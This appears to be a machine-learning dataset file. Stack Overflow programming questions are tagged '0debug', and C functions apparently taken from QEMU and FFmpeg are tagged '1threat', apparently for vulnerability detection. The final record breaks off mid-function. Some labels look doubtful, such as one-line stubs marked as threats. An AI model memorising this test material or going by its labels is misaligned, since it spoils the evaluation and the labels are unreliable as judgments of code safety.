</code></pre> <p>The C# code calling the DLL:</p> <pre><code>[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct DATA_BLOB { public int cbData; public IntPtr pbData; } [DllImport("MyLib.dll", CallingConvention = CallingConvention.Cdecl)] public static extern DATA_BLOB crypt(Byte[] input); (...) RegistryKey RegKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\MyProfile\\9375CFF0413111d3B88A00104B2A6676\\0000000b", true); Byte[] Password = Encoding.UTF8.GetBytes("MyPassword"); DATA_BLOB BlobData = crypt(Encoding.UTF8.GetBytes("MyPassword")); Byte[] EncPassword = new Byte[BlobData.cbData]; Marshal.Copy(BlobData.pbData, EncPassword, 0, BlobData.cbData); RegKey.SetValue("IMAP Password", EncPassword); </code></pre> <p>This code generates a password with 256 bytes, still not the 273 bytes I get from Outlook.</p> <p>My guess is that these missing bytes are from a specific entropy I'm not using or even some detail I'm missing.</p> <p>Any tip on the right direction will help a lot.</p> <p>Thanks!</p>
0debug
static uint32_t cuda_readl (void *opaque, target_phys_addr_t addr) { return 0; }
1threat
int check_migratable(Object *obj, Error **err) { return 0; }
1threat
eeprom_t *eeprom93xx_new(DeviceState *dev, uint16_t nwords) { eeprom_t *eeprom; uint8_t addrbits; switch (nwords) { case 16: case 64: addrbits = 6; break; case 128: case 256: addrbits = 8; break; default: assert(!"Unsupported EEPROM size, fallback to 64 words!"); nwords = 64; addrbits = 6; } eeprom = (eeprom_t *)g_malloc0(sizeof(*eeprom) + nwords * 2); eeprom->size = nwords; eeprom->addrbits = addrbits; eeprom->eedo = 1; logout("eeprom = 0x%p, nwords = %u\n", eeprom, nwords); vmstate_register(dev, 0, &vmstate_eeprom, eeprom); return eeprom; }
1threat
Working with python dictionary : <p>How can I store multiple keys and values in school dictionary? I was trying to store a list of keys and values in a dictionary with a for loop but I did t know how to go about it. Can any one help me out? </p>
0debug
C++ Make dword with multiple options : <p>I just want to ask, because I couldn't figure out how to formulate my question, I know there will be for sure some answers on google, but I just don't know what to ask for. So.. I want to make dword with options. I mean something like this;</p> <pre><code>DWORD dwOpt = 0; dwOpt = NOTUSE_D3D | USE_FULLSCREEN |..... </code></pre> <p>I think this code is ok, please correct me if it isn't. However, when I'm trying to check if it is there, I'm just getting bad results, and that's most likely because I don't know how to make it and I just used logic for it. I'm using:</p> <pre><code>BOOL bFullScreen = dwOpt |= USE_FULLSCREEN //? TRUE : FALSE; </code></pre> <p>Thank you for answers.</p>
0debug
could not convert string to float: price[0] - python : <p>I want to make a currency converter which will take the current exchange rate from yahoo and multiply it with the amount the user wants. But I cannot multiply them. Could you please help me?</p> <p>I always get: Traceback (most recent call last):File "C:\Users\Ioannis\Desktop\c.py", line 17, in realprice = float("price[0]")</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>import urllib import re stocklist = ["eurusd"] i=0 while i&lt;len(stocklist): url = "http://finance.yahoo.com/q?s=eurusd=X" htmlfile = urllib.urlopen(url) htmltext = htmlfile.read() regex = '&lt;span id="yfs_l10_eurusd=x"&gt;(.+?)&lt;/span&gt;' pattern = re.compile(regex) price = re.findall(pattern,htmltext) print "the price of", stocklist[i],"is" ,price[0] i+=1 realprice = float("price[0]") print ("Currency Exchange") ex = raw_input("A-Euro to Dollars, B-Dollars to Euro") if ex == "A": ptd = int(raw_input("How much would you like to convert: ")) f = ptd*price[0] print("It is $",f) if ex == "B": ptd = float(raw_input("How much would you like to convert")) f = ptd*0.7 f2 = round(f,2) print ("It is $",f2)</code></pre> </div> </div> </p> <p>ValueError: could not convert string to float: price[0]</p> <p><a href="http://i.stack.imgur.com/xsaXB.jpg" rel="nofollow">python code</a></p>
0debug
When writing JSP code and running on tomcat server, nothing displays : <p>Im really new to this but, when Im writing a really simple JSP site, it just displays a blank page. And when I inspect the site, the code doesnt show up.</p> <p><a href="https://i.stack.imgur.com/E5XC7.png" rel="nofollow noreferrer">This is my JSP file called BookList.jsp</a></p> <p><a href="https://i.stack.imgur.com/RjktJ.png" rel="nofollow noreferrer">My Servlet File, called ControllerServlet.java</a></p> <p><a href="https://i.stack.imgur.com/mDOse.png" rel="nofollow noreferrer">What appears in my browser and when I inspect</a></p>
0debug
Need regix for input with jquery : I need regix so that only these characters are allowed to type: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 & , . – / ( ) @ * + ! ? “ ‘ : ; Also it would be nice if I could implement this through jQuery in this code: $("#firstText").keyup(function () { var value = $(this).val().toUpperCase(); $(".zetin16").text(value); }).keyup();
0debug
Unfamiliar operator in C# += : what does this operator do +=.It seems difficult to find this += operator online Though it seems to suggest it has something to do with delegates.Can someone explain a bit more. Anyway this below is the c# statement that i came across. this.LineSelected += new LineSelectionHandler(AdvancedReceiptViewModel_LineSelected);
0debug
Secure Google Cloud Functions http trigger with auth : <p>I am trying out Google Cloud Functions today following this guide: <a href="https://cloud.google.com/functions/docs/quickstart" rel="noreferrer">https://cloud.google.com/functions/docs/quickstart</a></p> <p>I created a function with an HTTP trigger, and was able to perform a POST request to trigger a function to write to Datastore.</p> <p>I was wondering if there's a way I can secure this HTTP endpoint? Currently it seems that it will accept a request from anywhere/anyone. </p> <p>When googling around, I see most results talk about securing things with Firebase. However, I am not using the Firebase service here.</p> <p>Would my options be either let it open, and hope no one knows the URL endpoint (security by obscurity), or implement my own auth check in the function itself?</p>
0debug
static void hScale16To15_c(SwsContext *c, int16_t *dst, int dstW, const uint8_t *_src, const int16_t *filter, const int16_t *filterPos, int filterSize) { int i; const uint16_t *src = (const uint16_t *) _src; int sh = av_pix_fmt_descriptors[c->srcFormat].comp[0].depth_minus1; for (i = 0; i < dstW; i++) { int j; int srcPos = filterPos[i]; int val = 0; for (j = 0; j < filterSize; j++) { val += src[srcPos + j] * filter[filterSize * i + j]; } dst[i] = FFMIN(val >> sh, (1 << 15) - 1); } }
1threat
document.getElementById('input').innerHTML = user_input;
1threat
static void ahci_test_identify(AHCIQState *ahci) { uint16_t buff[256]; unsigned px; int rc; uint16_t sect_size; const size_t buffsize = 512; g_assert(ahci != NULL); px = ahci_port_select(ahci); g_test_message("Selected port %u for test", px); ahci_port_clear(ahci, px); ahci_io(ahci, px, CMD_IDENTIFY, &buff, buffsize); string_bswap16(&buff[10], 20); rc = memcmp(&buff[10], "testdisk ", 20); g_assert_cmphex(rc, ==, 0); string_bswap16(&buff[23], 8); rc = memcmp(&buff[23], "version ", 8); g_assert_cmphex(rc, ==, 0); }
1threat
Using inherited interface in abstract method : <p>Here's my code sample in C#:</p> <pre><code>abstract class A { public interface IA{ } abstract protected void Print(IA obj); } abstract class B : A { public interface IB : IA{ } override protected void Print(IB obj){ // do something else } } </code></pre> <p>Apparently, the compiler is not crazy about me overriding the Print method for the class B.</p> <p>I am getting "no suitable method found to override."</p> <p>Is there a way to make it work? I am not looking for a design change, but a technical solution.</p>
0debug
static void decode_p_block(FourXContext *f, uint16_t *dst, uint16_t *src, int log2w, int log2h, int stride) { const int index = size2index[log2h][log2w]; const int h = 1 << log2h; int code = get_vlc2(&f->gb, block_type_vlc[1 - (f->version > 1)][index].table, BLOCK_TYPE_VLC_BITS, 1); uint16_t *start = (uint16_t *)f->last_picture.data[0]; uint16_t *end = start + stride * (f->avctx->height - h + 1) - (1 << log2w); av_assert2(code >= 0 && code <= 6); if (code == 0) { if (bytestream2_get_bytes_left(&f->g) < 1) { av_log(f->avctx, AV_LOG_ERROR, "bytestream overread\n"); return; } src += f->mv[bytestream2_get_byteu(&f->g)]; if (start > src || src > end) { av_log(f->avctx, AV_LOG_ERROR, "mv out of pic\n"); return; } mcdc(dst, src, log2w, h, stride, 1, 0); } else if (code == 1) { log2h--; decode_p_block(f, dst, src, log2w, log2h, stride); decode_p_block(f, dst + (stride << log2h), src + (stride << log2h), log2w, log2h, stride); } else if (code == 2) { log2w--; decode_p_block(f, dst , src, log2w, log2h, stride); decode_p_block(f, dst + (1 << log2w), src + (1 << log2w), log2w, log2h, stride); } else if (code == 3 && f->version < 2) { mcdc(dst, src, log2w, h, stride, 1, 0); } else if (code == 4) { if (bytestream2_get_bytes_left(&f->g) < 1) { av_log(f->avctx, AV_LOG_ERROR, "bytestream overread\n"); return; } src += f->mv[bytestream2_get_byteu(&f->g)]; if (start > src || src > end) { av_log(f->avctx, AV_LOG_ERROR, "mv out of pic\n"); return; } if (bytestream2_get_bytes_left(&f->g) < 2){ av_log(f->avctx, AV_LOG_ERROR, "wordstream overread\n"); return; } mcdc(dst, src, log2w, h, stride, 1, bytestream2_get_le16u(&f->g2)); } else if (code == 5) { if (bytestream2_get_bytes_left(&f->g) < 2) { av_log(f->avctx, AV_LOG_ERROR, "wordstream overread\n"); return; } mcdc(dst, src, log2w, h, stride, 0, bytestream2_get_le16u(&f->g2)); } else if (code == 6) { if (bytestream2_get_bytes_left(&f->g) < 4) { av_log(f->avctx, AV_LOG_ERROR, "wordstream overread\n"); return; } if (log2w) { dst[0] = bytestream2_get_le16u(&f->g2); dst[1] = bytestream2_get_le16u(&f->g2); } else { dst[0] = bytestream2_get_le16u(&f->g2); dst[stride] = bytestream2_get_le16u(&f->g2); } } }
1threat
void unix_start_incoming_migration(const char *path, Error **errp) { int s; s = unix_listen(path, NULL, 0, errp); if (s < 0) { return; } qemu_set_fd_handler2(s, NULL, unix_accept_incoming_migration, NULL, (void *)(intptr_t)s); }
1threat
git hangs macOS Sierra terminal with no recovery : <p>Running git version 2.10.2 (from Homebrew) on macOS Sierra 10.12.1. When I perform a <code>git pull</code> it completely hangs my terminal. If I force quit terminal and relaunch then terminal will not start. I've tried the following (from other answers):</p> <ol> <li>Change over from using DSA keys to RSA keys (due to deprecation of RSA in the latest OpenSSH)</li> <li>Updated to the latest Homebrew and updated git</li> <li>Tried a different terminal (iTerm)</li> <li>Ensured xcode is up-to-date and reinstalled commandline tools (xcode-select --install)</li> </ol> <p>The fact that it completely hangs Terminal and can't recover makes it very hard to diagnose and it seems to mess with a number of other apps after this, requiring a complete reboot. Any help gratefully received! </p>
0debug
static int vmdk_parse_extents(const char *desc, BlockDriverState *bs, const char *desc_file_path, QDict *options, Error **errp) { int ret; int matches; char access[11]; char type[11]; char fname[512]; const char *p = desc; int64_t sectors = 0; int64_t flat_offset; char *extent_path; BdrvChild *extent_file; BDRVVmdkState *s = bs->opaque; VmdkExtent *extent; char extent_opt_prefix[32]; Error *local_err = NULL; while (*p) { flat_offset = -1; matches = sscanf(p, "%10s %" SCNd64 " %10s \"%511[^\n\r\"]\" %" SCNd64, access, &sectors, type, fname, &flat_offset); if (matches < 4 || strcmp(access, "RW")) { goto next_line; } else if (!strcmp(type, "FLAT")) { if (matches != 5 || flat_offset < 0) { error_setg(errp, "Invalid extent lines: \n%s", p); return -EINVAL; } } else if (!strcmp(type, "VMFS")) { if (matches == 4) { flat_offset = 0; } else { error_setg(errp, "Invalid extent lines:\n%s", p); return -EINVAL; } } else if (matches != 4) { error_setg(errp, "Invalid extent lines:\n%s", p); return -EINVAL; } if (sectors <= 0 || (strcmp(type, "FLAT") && strcmp(type, "SPARSE") && strcmp(type, "VMFS") && strcmp(type, "VMFSSPARSE")) || (strcmp(access, "RW"))) { goto next_line; } if (!path_is_absolute(fname) && !path_has_protocol(fname) && !desc_file_path[0]) { error_setg(errp, "Cannot use relative extent paths with VMDK " "descriptor file '%s'", bs->file->bs->filename); return -EINVAL; } extent_path = g_malloc0(PATH_MAX); path_combine(extent_path, PATH_MAX, desc_file_path, fname); ret = snprintf(extent_opt_prefix, 32, "extents.%d", s->num_extents); assert(ret < 32); extent_file = bdrv_open_child(extent_path, options, extent_opt_prefix, bs, &child_file, false, &local_err); g_free(extent_path); if (local_err) { error_propagate(errp, local_err); return -EINVAL; } if (!strcmp(type, "FLAT") || !strcmp(type, "VMFS")) { ret = vmdk_add_extent(bs, extent_file, true, sectors, 0, 0, 0, 0, 0, &extent, errp); if (ret < 0) { bdrv_unref_child(bs, extent_file); return ret; } extent->flat_start_offset = flat_offset << 9; } else if (!strcmp(type, "SPARSE") || !strcmp(type, "VMFSSPARSE")) { char *buf = vmdk_read_desc(extent_file->bs, 0, errp); if (!buf) { ret = -EINVAL; } else { ret = vmdk_open_sparse(bs, extent_file, bs->open_flags, buf, options, errp); } g_free(buf); if (ret) { bdrv_unref_child(bs, extent_file); return ret; } extent = &s->extents[s->num_extents - 1]; } else { error_setg(errp, "Unsupported extent type '%s'", type); bdrv_unref_child(bs, extent_file); return -ENOTSUP; } extent->type = g_strdup(type); next_line: while (*p) { if (*p == '\n') { p++; break; } p++; } } return 0; }
1threat
static void usbredir_interface_info(void *priv, struct usb_redir_interface_info_header *interface_info) { USBRedirDevice *dev = priv; dev->interface_info = *interface_info; if (qemu_timer_pending(dev->attach_timer) || dev->dev.attached) { if (usbredir_check_filter(dev)) { ERROR("Device no longer matches filter after interface info " "change, disconnecting!\n"); } } }
1threat
static int qcow_open(BlockDriverState *bs, const char *filename, int flags) { BDRVQcowState *s = bs->opaque; int len, i, shift, ret; QCowHeader header; uint64_t ext_end; ret = bdrv_file_open(&s->hd, filename, flags); if (ret < 0) return ret; if (bdrv_pread(s->hd, 0, &header, sizeof(header)) != sizeof(header)) goto fail; be32_to_cpus(&header.magic); be32_to_cpus(&header.version); be64_to_cpus(&header.backing_file_offset); be32_to_cpus(&header.backing_file_size); be64_to_cpus(&header.size); be32_to_cpus(&header.cluster_bits); be32_to_cpus(&header.crypt_method); be64_to_cpus(&header.l1_table_offset); be32_to_cpus(&header.l1_size); be64_to_cpus(&header.refcount_table_offset); be32_to_cpus(&header.refcount_table_clusters); be64_to_cpus(&header.snapshots_offset); be32_to_cpus(&header.nb_snapshots); if (header.magic != QCOW_MAGIC || header.version != QCOW_VERSION) goto fail; if (header.size <= 1 || header.cluster_bits < MIN_CLUSTER_BITS || header.cluster_bits > MAX_CLUSTER_BITS) goto fail; if (header.crypt_method > QCOW_CRYPT_AES) goto fail; s->crypt_method_header = header.crypt_method; if (s->crypt_method_header) bs->encrypted = 1; s->cluster_bits = header.cluster_bits; s->cluster_size = 1 << s->cluster_bits; s->cluster_sectors = 1 << (s->cluster_bits - 9); s->l2_bits = s->cluster_bits - 3; s->l2_size = 1 << s->l2_bits; bs->total_sectors = header.size / 512; s->csize_shift = (62 - (s->cluster_bits - 8)); s->csize_mask = (1 << (s->cluster_bits - 8)) - 1; s->cluster_offset_mask = (1LL << s->csize_shift) - 1; s->refcount_table_offset = header.refcount_table_offset; s->refcount_table_size = header.refcount_table_clusters << (s->cluster_bits - 3); s->snapshots_offset = header.snapshots_offset; s->nb_snapshots = header.nb_snapshots; s->l1_size = header.l1_size; shift = s->cluster_bits + s->l2_bits; s->l1_vm_state_index = (header.size + (1LL << shift) - 1) >> shift; if (s->l1_size < s->l1_vm_state_index) goto fail; s->l1_table_offset = header.l1_table_offset; s->l1_table = qemu_mallocz( align_offset(s->l1_size * sizeof(uint64_t), 512)); if (bdrv_pread(s->hd, s->l1_table_offset, s->l1_table, s->l1_size * sizeof(uint64_t)) != s->l1_size * sizeof(uint64_t)) goto fail; for(i = 0;i < s->l1_size; i++) { be64_to_cpus(&s->l1_table[i]); } s->l2_cache = qemu_malloc(s->l2_size * L2_CACHE_SIZE * sizeof(uint64_t)); s->cluster_cache = qemu_malloc(s->cluster_size); s->cluster_data = qemu_malloc(QCOW_MAX_CRYPT_CLUSTERS * s->cluster_size + 512); s->cluster_cache_offset = -1; if (qcow2_refcount_init(bs) < 0) goto fail; LIST_INIT(&s->cluster_allocs); if (header.backing_file_offset) ext_end = header.backing_file_offset; else ext_end = s->cluster_size; if (qcow_read_extensions(bs, sizeof(header), ext_end)) goto fail; if (header.backing_file_offset != 0) { len = header.backing_file_size; if (len > 1023) len = 1023; if (bdrv_pread(s->hd, header.backing_file_offset, bs->backing_file, len) != len) goto fail; bs->backing_file[len] = '\0'; } if (qcow2_read_snapshots(bs) < 0) goto fail; #ifdef DEBUG_ALLOC qcow2_check_refcounts(bs); #endif return 0; fail: qcow2_free_snapshots(bs); qcow2_refcount_close(bs); qemu_free(s->l1_table); qemu_free(s->l2_cache); qemu_free(s->cluster_cache); qemu_free(s->cluster_data); bdrv_delete(s->hd); return -1; }
1threat
Get the process name by pid : <p>I have a python program. It stores a variable called "pid" with a given pid of a process. First of all I need to check that the process which owns this pid number is really the process I'm looking for and if it is I need to kill it from python. So first I need to check somehow that the name of the process is for example "pfinder" and if it is pfinder than kill it. I need to use an old version of python so I can't use psutil and subprocess. Is there any other way to do this?</p>
0debug
static int save_xbzrle_page(RAMState *rs, uint8_t **current_data, ram_addr_t current_addr, RAMBlock *block, ram_addr_t offset, bool last_stage) { int encoded_len = 0, bytes_xbzrle; uint8_t *prev_cached_page; if (!cache_is_cached(XBZRLE.cache, current_addr, rs->bitmap_sync_count)) { rs->xbzrle_cache_miss++; if (!last_stage) { if (cache_insert(XBZRLE.cache, current_addr, *current_data, rs->bitmap_sync_count) == -1) { return -1; } else { *current_data = get_cached_data(XBZRLE.cache, current_addr); } } return -1; } prev_cached_page = get_cached_data(XBZRLE.cache, current_addr); memcpy(XBZRLE.current_buf, *current_data, TARGET_PAGE_SIZE); encoded_len = xbzrle_encode_buffer(prev_cached_page, XBZRLE.current_buf, TARGET_PAGE_SIZE, XBZRLE.encoded_buf, TARGET_PAGE_SIZE); if (encoded_len == 0) { trace_save_xbzrle_page_skipping(); return 0; } else if (encoded_len == -1) { trace_save_xbzrle_page_overflow(); rs->xbzrle_overflows++; if (!last_stage) { memcpy(prev_cached_page, *current_data, TARGET_PAGE_SIZE); *current_data = prev_cached_page; } return -1; } if (!last_stage) { memcpy(prev_cached_page, XBZRLE.current_buf, TARGET_PAGE_SIZE); } bytes_xbzrle = save_page_header(rs, block, offset | RAM_SAVE_FLAG_XBZRLE); qemu_put_byte(rs->f, ENCODING_FLAG_XBZRLE); qemu_put_be16(rs->f, encoded_len); qemu_put_buffer(rs->f, XBZRLE.encoded_buf, encoded_len); bytes_xbzrle += encoded_len + 1 + 2; rs->xbzrle_pages++; rs->xbzrle_bytes += bytes_xbzrle; rs->bytes_transferred += bytes_xbzrle; return 1; }
1threat
go to anchor link if url equals to : <p>I want to use a jquery on load function and I want it to scroll down to the anchor if the url is, for example:</p> <p>url = <a href="http://test.aspx?section=section2" rel="nofollow noreferrer">http://test.aspx?section=section2</a> </p> <p>How can I achieve this through jquery? (I don't want to use anchor links because I'm using asp)</p>
0debug
static void pci_device_reset(PCIDevice *dev) { int r; dev->irq_state = 0; pci_update_irq_status(dev); pci_word_test_and_clear_mask(dev->config + PCI_COMMAND, pci_get_word(dev->wmask + PCI_COMMAND)); dev->config[PCI_CACHE_LINE_SIZE] = 0x0; dev->config[PCI_INTERRUPT_LINE] = 0x0; for (r = 0; r < PCI_NUM_REGIONS; ++r) { PCIIORegion *region = &dev->io_regions[r]; if (!region->size) { continue; } if (!(region->type & PCI_BASE_ADDRESS_SPACE_IO) && region->type & PCI_BASE_ADDRESS_MEM_TYPE_64) { pci_set_quad(dev->config + pci_bar(dev, r), region->type); } else { pci_set_long(dev->config + pci_bar(dev, r), region->type); } } pci_update_mappings(dev); }
1threat
Kubernetes: Role vs ClusterRole : <p>Which is the difference between a <code>Role</code> or a <code>ClusterRole</code>?</p> <p>When should I create one or the other one?</p> <p>I don't quite figure out which is the difference between them.</p>
0debug
int msix_init(struct PCIDevice *dev, unsigned short nentries, MemoryRegion *table_bar, uint8_t table_bar_nr, unsigned table_offset, MemoryRegion *pba_bar, uint8_t pba_bar_nr, unsigned pba_offset, uint8_t cap_pos) { int cap; unsigned table_size, pba_size; uint8_t *config; if (!msi_nonbroken) { return -ENOTSUP; } if (nentries < 1 || nentries > PCI_MSIX_FLAGS_QSIZE + 1) { return -EINVAL; } table_size = nentries * PCI_MSIX_ENTRY_SIZE; pba_size = QEMU_ALIGN_UP(nentries, 64) / 8; if ((table_bar_nr == pba_bar_nr && ranges_overlap(table_offset, table_size, pba_offset, pba_size)) || table_offset + table_size > memory_region_size(table_bar) || pba_offset + pba_size > memory_region_size(pba_bar) || (table_offset | pba_offset) & PCI_MSIX_FLAGS_BIRMASK) { return -EINVAL; } cap = pci_add_capability(dev, PCI_CAP_ID_MSIX, cap_pos, MSIX_CAP_LENGTH); if (cap < 0) { return cap; } dev->msix_cap = cap; dev->cap_present |= QEMU_PCI_CAP_MSIX; config = dev->config + cap; pci_set_word(config + PCI_MSIX_FLAGS, nentries - 1); dev->msix_entries_nr = nentries; dev->msix_function_masked = true; pci_set_long(config + PCI_MSIX_TABLE, table_offset | table_bar_nr); pci_set_long(config + PCI_MSIX_PBA, pba_offset | pba_bar_nr); dev->wmask[cap + MSIX_CONTROL_OFFSET] |= MSIX_ENABLE_MASK | MSIX_MASKALL_MASK; dev->msix_table = g_malloc0(table_size); dev->msix_pba = g_malloc0(pba_size); dev->msix_entry_used = g_malloc0(nentries * sizeof *dev->msix_entry_used); msix_mask_all(dev, nentries); memory_region_init_io(&dev->msix_table_mmio, OBJECT(dev), &msix_table_mmio_ops, dev, "msix-table", table_size); memory_region_add_subregion(table_bar, table_offset, &dev->msix_table_mmio); memory_region_init_io(&dev->msix_pba_mmio, OBJECT(dev), &msix_pba_mmio_ops, dev, "msix-pba", pba_size); memory_region_add_subregion(pba_bar, pba_offset, &dev->msix_pba_mmio); return 0; }
1threat
uint64_t ram_bytes_remaining(void) { return ram_state->migration_dirty_pages * TARGET_PAGE_SIZE; }
1threat
css div with diagonal ending on left : <p>I want to create div with a diagonal side as shown in the image below: <a href="https://i.stack.imgur.com/u9grW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/u9grW.png" alt="Example of the desired outcome"></a></p> <p>I would like to know what the best approach is. What I can think of now is to place 2 divs near each other and rotate one div. I could also work with a background image, but I'm wondering what's the bes way.</p> <p>Any information/links/tutorials is really appreciated</p>
0debug
Compare 2 dataframe columns and add a new column in one dataframe as "Yes" or "No" if the cell data matches : <p>I have 2 data frames as below:</p> <pre><code>df1(main data) UID SG 1 A 2 B 3 C 4 D 5 E df2 UID AN SG 1 x A 3 y C 2 z B 1 xy A 3 v C </code></pre> <p>Now, I want to add a new column to df1, say "isPresent". This column will have "Yes" if the UID from df1 is present in df2 and "No" if UID in not in df2. So my df1 will finally looks like this,</p> <pre><code>df1 UID SG isPresent 1 A Yes 2 B Yes 3 C Yes 4 D No 5 E No </code></pre> <p>My approach is taking an intersection of the UIDs from both the dataframes and then a for loop in df1 to add data cell by cell.</p> <p>But I want to apply an approach without using for loop and using pandas as much as possible, if possible.</p>
0debug
(Java)How can I check if an 2d array contains a certain line? : If given a 2D array, for example int[][] arr = {{2,3}, {53, 2}, {23,13}}; how can i check if the row {53, 2} exist in the array? I have the following code: ``` int[][] arr = {{1, 3}, {2, 2}, {2, 5}, {3, 1}, {3, 4}, {3, 7}, {4, 3}, {4, 6}, {5, 2}, {5, 5}, {5, 8}, {6, 4}, {6, 7}, {7, 3}, {7, 6}, {7, 9}, {8, 5}, {8, 8}, {9, 7}}; for(int i = 0; i < 11; i++) { for(int j = 0; j < 11; j++) { //here i want to check if arr contains the row {i, j} } } } ``` How can this be done simply and efficiently?
0debug
Display values from array : <p>When the user clicks a button I want the below data to be displayed on my webpage in the following format:</p> <p>car1 - id:1346 - type BMW</p> <p>car2 - id: 1379 - type Holden</p> <p>etc...</p> <p>How exactly would I go about doing this? I tried this: </p> <p><code>document.getElementById('message').innerHTML = car1</code></p> <p>But all that was displayed was '[object Object]'</p> <pre><code> var car1 = {id:"1346", type:"BMW"}; var car2 = {id:"1379", type:"Holden"}; var car3 = {id:"2580", type:"Ford"}; var cararray = [car1, car2, car3]; </code></pre>
0debug
Cannot change font size of text field in material ui : <p>I am trying to learn material ui. I want to enlarge the text field on my page. However, the styles i embed with the field changes height, width and other properties except the size. Following is my code:</p> <pre><code>const styles = { container: { display: 'flex', flexWrap: 'wrap', }, textField: { // marginLeft: theme.spacing.unit, // marginRight: theme.spacing.unit, width: 300, margin: 100, fontSize: 50 //??? Doesnt work } } </code></pre> <p>Following is the stateless component(React):</p> <pre><code>const Searchbox = (props) =&gt; { const { classes } = props; return ( &lt;TextField onKeyDown={props.onKeyDown} id="with-placeholder" label="Add id" placeholder="id" className={classes.textField} margin="normal" autoFocus={true} helperText={"Add an existing id or select "} /&gt; ); }; export default withStyles(styles)(Searchbox); </code></pre> <p>I totally understand there is no rocket science as its a straightforward CSS in JS approach of applying styles.</p> <p>However, I cannot override the base font size for my text field. Any help will be appreciated</p>
0debug
qemu_irq *armv7m_init(int flash_size, int sram_size, const char *kernel_filename, const char *cpu_model) { CPUState *env; DeviceState *nvic; static qemu_irq pic[64]; qemu_irq *cpu_pic; uint32_t pc; int image_size; uint64_t entry; uint64_t lowaddr; int i; int big_endian; flash_size *= 1024; sram_size *= 1024; if (!cpu_model) cpu_model = "cortex-m3"; env = cpu_init(cpu_model); if (!env) { fprintf(stderr, "Unable to find CPU definition\n"); exit(1); } #if 0 if (ram_size > (512 + 32) * 1024 * 1024) ram_size = (512 + 32) * 1024 * 1024; sram_size = (ram_size / 2) & TARGET_PAGE_MASK; if (sram_size > 32 * 1024 * 1024) sram_size = 32 * 1024 * 1024; code_size = ram_size - sram_size; #endif cpu_register_physical_memory(0, flash_size, qemu_ram_alloc(flash_size) | IO_MEM_ROM); cpu_register_physical_memory(0x20000000, sram_size, qemu_ram_alloc(sram_size) | IO_MEM_RAM); armv7m_bitband_init(); nvic = qdev_create(NULL, "armv7m_nvic"); env->v7m.nvic = nvic; qdev_init(nvic); cpu_pic = arm_pic_init_cpu(env); sysbus_connect_irq(sysbus_from_qdev(nvic), 0, cpu_pic[ARM_PIC_CPU_IRQ]); for (i = 0; i < 64; i++) { pic[i] = qdev_get_gpio_in(nvic, i); } #ifdef TARGET_WORDS_BIGENDIAN big_endian = 1; #else big_endian = 0; #endif image_size = load_elf(kernel_filename, 0, &entry, &lowaddr, NULL, big_endian, ELF_MACHINE, 1); if (image_size < 0) { image_size = load_image_targphys(kernel_filename, 0, flash_size); lowaddr = 0; } if (image_size < 0) { fprintf(stderr, "qemu: could not load kernel '%s'\n", kernel_filename); exit(1); } if (lowaddr == 0) { env->regs[13] = ldl_phys(0); pc = ldl_phys(4); } else { pc = entry; } env->thumb = pc & 1; env->regs[15] = pc & ~1; cpu_register_physical_memory(0xfffff000, 0x1000, qemu_ram_alloc(0x1000) | IO_MEM_RAM); return pic; }
1threat
import heapq as hq def heap_assending(nums): hq.heapify(nums) s_result = [hq.heappop(nums) for i in range(len(nums))] return s_result
0debug
How to insert a list of string into a table of SQL server database : I have a table of 3 fields along with a primary key(id,Name,Gender,City). create table tempTable ( id int primary key identity, name nvarchar(50), gender nvarchar(50), city nvarchar(50) ) And there is a list of string like : List<String> list = new List<String>() { "name", "male", "city" }; I want this list to insert into the tempTable. How can I do that?
0debug
static int wav_read_header(AVFormatContext *s) { int64_t size, av_uninit(data_size); int64_t sample_count = 0; int rf64 = 0; char start_code[32]; uint32_t tag; AVIOContext *pb = s->pb; AVStream *st = NULL; WAVDemuxContext *wav = s->priv_data; int ret, got_fmt = 0; int64_t next_tag_ofs, data_ofs = -1; wav->unaligned = avio_tell(s->pb) & 1; wav->smv_data_ofs = -1; tag = avio_rl32(pb); switch (tag) { case MKTAG('R', 'I', 'F', 'F'): break; case MKTAG('R', 'I', 'F', 'X'): wav->rifx = 1; break; case MKTAG('R', 'F', '6', '4'): rf64 = 1; break; default: av_get_codec_tag_string(start_code, sizeof(start_code), tag); av_log(s, AV_LOG_ERROR, "invalid start code %s in RIFF header\n", start_code); return AVERROR_INVALIDDATA; avio_rl32(pb); if (avio_rl32(pb) != MKTAG('W', 'A', 'V', 'E')) { av_log(s, AV_LOG_ERROR, "invalid format in RIFF header\n"); return AVERROR_INVALIDDATA; if (rf64) { if (avio_rl32(pb) != MKTAG('d', 's', '6', '4')) return AVERROR_INVALIDDATA; size = avio_rl32(pb); if (size < 24) return AVERROR_INVALIDDATA; avio_rl64(pb); data_size = avio_rl64(pb); sample_count = avio_rl64(pb); if (data_size < 0 || sample_count < 0) { av_log(s, AV_LOG_ERROR, "negative data_size and/or sample_count in " "ds64: data_size = %"PRId64", sample_count = %"PRId64"\n", data_size, sample_count); return AVERROR_INVALIDDATA; avio_skip(pb, size - 24); for (;;) { AVStream *vst; size = next_tag(pb, &tag, wav->rifx); next_tag_ofs = avio_tell(pb) + size; if (avio_feof(pb)) break; switch (tag) { case MKTAG('f', 'm', 't', ' '): if (!got_fmt && (ret = wav_parse_fmt_tag(s, size, &st)) < 0) { return ret; } else if (got_fmt) av_log(s, AV_LOG_WARNING, "found more than one 'fmt ' tag\n"); got_fmt = 1; break; case MKTAG('d', 'a', 't', 'a'): if (!got_fmt) { av_log(s, AV_LOG_ERROR, "found no 'fmt ' tag before the 'data' tag\n"); return AVERROR_INVALIDDATA; if (rf64) { next_tag_ofs = wav->data_end = avio_tell(pb) + data_size; } else if (size != 0xFFFFFFFF) { data_size = size; next_tag_ofs = wav->data_end = size ? next_tag_ofs : INT64_MAX; } else { av_log(s, AV_LOG_WARNING, "Ignoring maximum wav data size, " "file may be invalid\n"); data_size = 0; next_tag_ofs = wav->data_end = INT64_MAX; data_ofs = avio_tell(pb); if (!pb->seekable || (!rf64 && !size)) goto break_loop; break; case MKTAG('f', 'a', 'c', 't'): if (!sample_count) sample_count = (!wav->rifx ? avio_rl32(pb) : avio_rb32(pb)); break; case MKTAG('b', 'e', 'x', 't'): if ((ret = wav_parse_bext_tag(s, size)) < 0) return ret; break; case MKTAG('S','M','V','0'): if 